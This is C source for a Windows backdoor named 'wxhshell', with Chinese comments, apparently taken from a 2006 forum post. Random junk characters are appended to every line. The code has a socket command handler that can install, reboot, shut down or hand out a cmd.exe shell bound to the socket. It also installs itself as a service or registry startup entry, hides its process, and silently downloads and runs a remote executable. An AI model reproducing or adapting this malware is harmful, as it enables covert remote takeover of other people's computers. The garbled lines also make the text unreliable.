    switch(cmd[0]) { &"U9X"8b  
  tYI ]LL  
  // 帮助 V_)5Af3wY  
  case '?': { YQN]x}:E+4  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0);  l 'AK  
    break; F/Rng'l  
  } Cfv L)f  
  // 安装 .){e7U6b{  
  case 'i': { Uq<a22t@  
    if(Install()) =]_d pEEQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mQwk!* U  
    else t9Enk!@  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *r)zBr  
    break; 21[K[ %  
    } \_*?R,$3Y,  
  // 卸载 S5:"_U  
  case 'r': { |i,zY{GI+2  
    if(Uninstall()) OqfhCNAY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Bo\a  
    else WUE)SVf  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^kCk^D-Gz  
    break; -XS+Uv  
    } KKx&UKjV  
  // 显示 wxhshell 所在路径 9[epr+f  
  case 'p': { 5 {T9*  
    char svExeFile[MAX_PATH]; fZka%[B  
    strcpy(svExeFile,"\n\r"); N.fQ7z=Z(M  
      strcat(svExeFile,ExeFile); LY@1@O2@  
        send(wsh,svExeFile,strlen(svExeFile),0); 9TYw@o5V  
    break; &A ;3; R  
    } P?Gd}mdX?m  
  // 重启 `^X RrVX<  
  case 'b': { x'E'jh%  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); [?|l X$<  
    if(Boot(REBOOT)) lKh2LY=j  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); VTy,43<  
    else { _ 6+,R  
    closesocket(wsh); "?2  
    ExitThread(0); aH5t.x79b  
    } D\45l  
    break; ifJv~asp   
    } J)7,&Gc6  
  // 关机 p=8M0k  
  case 'd': { _Ewy^;S%L  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); xh+AZ3  
    if(Boot(SHUTDOWN)) Xm"w,J&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); nhVK?  
    else { %fn'iKCB  
    closesocket(wsh); "k\Ff50  
    ExitThread(0); pz*/4  
    } M-&^   
    break; ?J^IAF y  
    } 'NQMZfz  
  // 获取shell p?Z+z  
  case 's': { ;w>3,ub(0  
    CmdShell(wsh); .NV)hg)|cZ  
    closesocket(wsh); n&2=6$*,k  
    ExitThread(0); C|.$L<`  
    break; -)y> c  
  } *@bg/S K%  
  // 退出 Xhq? 7P$3  
  case 'x': { 7`uA  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); X <ba|(  
    CloseIt(wsh); `'G),{ j  
    break; ^G'yaaLXR  
    } haEZp6Z  
  // 离开 *#prSS  
  case 'q': { \28b_,i+  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ~# hE&nq  
    closesocket(wsh); )E[ Q  
    WSACleanup(); F- !}dzO  
    exit(1); *7xQp!w^  
    break; +YQ)}v  
        } #"=yQZ6Y  
  } nU?Xc(Xy  
  } {L-{Y<fke  
wRV`v$*6  
  // 提示信息 .  T6_N  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); F'?5V0\he  
} @ }zS/LO  
  } @,y FY  
D*d 3w  
  return; GM9]>"#o\  
} +s+PnZ%0V  
wa(Wit"-  
// shell模块句柄 T9<H%iF  
int CmdShell(SOCKET sock) ;i-D~Np|  
{ ^huBqEs  
STARTUPINFO si; ^V XXq  
ZeroMemory(&si,sizeof(si)); n7`.<*:  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Sq?6R}q%  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; >n$E e J  
PROCESS_INFORMATION ProcessInfo; IxEQh)J X  
char cmdline[]="cmd"; k"DQbUy0L  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); WRLu 3nBx  
  return 0; ' F 6au[  
} |04}zU%N  
~Me&cT8  
// 自身启动模式 /_zF?5h  
int StartFromService(void) Y>dg10=  
{ B Z\EqB  
typedef struct |$.sB|_ N  
{ ZaNyNxbp>z  
  DWORD ExitStatus; 5Re`D|8  
  DWORD PebBaseAddress; 72 s$  
  DWORD AffinityMask; % Zl_{Q]h  
  DWORD BasePriority; %b>y  
  ULONG UniqueProcessId; X."h Tha5  
  ULONG InheritedFromUniqueProcessId; =An Z>6  
}   PROCESS_BASIC_INFORMATION; c~0VNuN  
eHnei F  
PROCNTQSIP NtQueryInformationProcess; YVZSKU  
O w($\,  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; g1hg`qBBW  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; &23ss/  
COkLn)+0  
  HANDLE             hProcess; eLt Cxe  
  PROCESS_BASIC_INFORMATION pbi; 1CS]~1Yp:  
PTI'N%W  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); vU \w3  
  if(NULL == hInst ) return 0; AP?{N:+  
F"@'(b  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 3$kv%uf{  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); x9&tlKKxf  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); JI[rIL \Ey  
N?U&(@p  
  if (!NtQueryInformationProcess) return 0; `M pC<sit  
PE;0 jgsiI  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); qI V`zZc  
  if(!hProcess) return 0; 2)I'5 ?I  
G.q^Zd#.T  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; v;F+fOo  
T h- vG  
  CloseHandle(hProcess); rY_C3;B  
Bu >yRL=*  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); c;t(j'k`  
if(hProcess==NULL) return 0; eed\0  
["#A-S  
HMODULE hMod; +DV6oh  
char procName[255]; C)3$";$5)  
unsigned long cbNeeded; h}B# 'e  
6 peM4X  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); n'ca*E(  
->"h5h  
  CloseHandle(hProcess); gU 2c--`  
d8BK/b  
if(strstr(procName,"services")) return 1; // 以服务启动 KJvJUq  
~cg+BAfu  
  return 0; // 注册表启动 uTlT'9)  
} Bdk{.oh6  
E6^S2J2  
// 主模块 tgF(=a]o  
int StartWxhshell(LPSTR lpCmdLine) _6ax{:/Q  
{ C5lD Hw[CX  
  SOCKET wsl; ^J5V!i$  
BOOL val=TRUE; ~3-YxCn%  
  int port=0; oj4)7{  
  struct sockaddr_in door; }HQT@&=  
Q]?J%P.  
  if(wscfg.ws_autoins) Install(); U-]PWt?C{  
%},S#5L3  
port=atoi(lpCmdLine); PK`(qK9  
Xde=}9  
if(port<=0) port=wscfg.ws_port; r;6YCI=z  
0R^(rE"2#  
  WSADATA data; VV}fW"_ND  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; iN9!?Ov_  
_~#C $-T  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   X9`C2fyVd  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); :;#}9g9  
  door.sin_family = AF_INET; w-Q 6 -  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 9q@YE_ji  
  door.sin_port = htons(port); (XIq?c1T  
#]\G*>{  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { yI|?iBc7nC  
closesocket(wsl); vhe Ah`u^&  
return 1; OFAqP1o{$  
} {j=hQL3  
<!HD tN  
  if(listen(wsl,2) == INVALID_SOCKET) { +&zuI  
closesocket(wsl); 7Caap/L:  
return 1; BRok 89  
} H><mcah  
  Wxhshell(wsl); ORPl^n-  
  WSACleanup(); 7u3b aM  
@/2wmza%2  
return 0; E#V-F-@2  
FCB/FtI0  
} ghO//?m  
z^HlDwsbm  
// 以NT服务方式启动 8RT0&[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 0}C}\1  
{ ps;o[gB@5  
DWORD   status = 0; jxOVH+?l%  
  DWORD   specificError = 0xfffffff; nhxd  
K[;,/:Y  
  serviceStatus.dwServiceType     = SERVICE_WIN32; U[ O!&:6  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; /ykxVCvAt  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; <.B > LU  
  serviceStatus.dwWin32ExitCode     = 0; mt]YY<l  
  serviceStatus.dwServiceSpecificExitCode = 0; wU3ica&[   
  serviceStatus.dwCheckPoint       = 0; 5OqsnL_V  
  serviceStatus.dwWaitHint       = 0; tZBE& :l  
UHl/AM> !  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); t:@A)ip  
  if (hServiceStatusHandle==0) return;  >33b@)  
LUVJ218p  
status = GetLastError(); { rJF)\2  
  if (status!=NO_ERROR) &$Ip$"H  
{ 2<./HH*f  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ;}9Ws6#XQs  
    serviceStatus.dwCheckPoint       = 0; ^p%+rB.j[  
    serviceStatus.dwWaitHint       = 0; jP6G.aiO  
    serviceStatus.dwWin32ExitCode     = status; tfIBsw.  
    serviceStatus.dwServiceSpecificExitCode = specificError; &MLhCekY  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); =<uz'\Ytv%  
    return; 90696v.  
  } GIl{wd  
f! Nc+  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 5:3$VWLa <  
  serviceStatus.dwCheckPoint       = 0; krY.Cc]  
  serviceStatus.dwWaitHint       = 0; WjxBNk'f  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); {"AYOc>2|  
} s+G9L)b'  
|N.q[>^R  
// 处理NT服务事件,比如:启动、停止 X?xm1|\  
VOID WINAPI NTServiceHandler(DWORD fdwControl) c@{^3V##T  
{ aZ3 #g  
switch(fdwControl) 1ucUnNkcV  
{ U1tPw`0h  
case SERVICE_CONTROL_STOP: f5XcBW9E  
  serviceStatus.dwWin32ExitCode = 0; WSccR  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 1,D ^,  
  serviceStatus.dwCheckPoint   = 0; aL6 5t\2  
  serviceStatus.dwWaitHint     = 0; @9 tv N}  
  { I{UB!0H  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7ib<Cb>K  
  } 4tu>~ vOE  
  return; fBh|:2u  
case SERVICE_CONTROL_PAUSE: FOyfk$  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; BrmFwXLP"  
  break;  xyCcd=  
case SERVICE_CONTROL_CONTINUE: j 0NPd^  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; j?ubh{Izm  
  break; .tZ$a_O  
case SERVICE_CONTROL_INTERROGATE: 9e*poG  
  break; o6%f%:&  
}; ZlXs7 &_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {%}6 d~Bg  
} ~OfKn1D  
wWswuhq<  
// 标准应用程序主函数 O@&I.d$  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) tELnq#<6  
{ 56aJE .?<  
".Z+bi2l  
// 获取操作系统版本 =v"{EmT[$  
OsIsNt=GetOsVer(); !t{!.  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ozwqK oE  
r/:'}os;  
  // 从命令行安装 @TG~fJSA12  
  if(strpbrk(lpCmdLine,"iI")) Install(); )Em,3I/.l  
o : DnZN  
  // 下载执行文件 #?| z&9  
if(wscfg.ws_downexe) { 3{E}^ve  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) :|( B[  
  WinExec(wscfg.ws_filenam,SW_HIDE); $ $+z^%'_  
} O/@[VPf  
[$+61n}.12  
if(!OsIsNt) { ho<#i(  
// 如果时win9x,隐藏进程并且设置为注册表启动 nXW1:  
HideProc(); !9Xex?et  
StartWxhshell(lpCmdLine); c67!OHumP  
} cne[-E  
else Kwau:_B  
  if(StartFromService()) 1 .k}gl0<  
  // 以服务方式启动 ~kFRy{z  
  StartServiceCtrlDispatcher(DispatchTable); D4T+Gk"n  
else |,f6c Om f  
  // 普通方式启动 B}T72!a  
  StartWxhshell(lpCmdLine); l/M+JT~R  
g}h0J%s  
return 0; I[C.iILL  
}
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只看该作者 1 发表于: 2006-10-10
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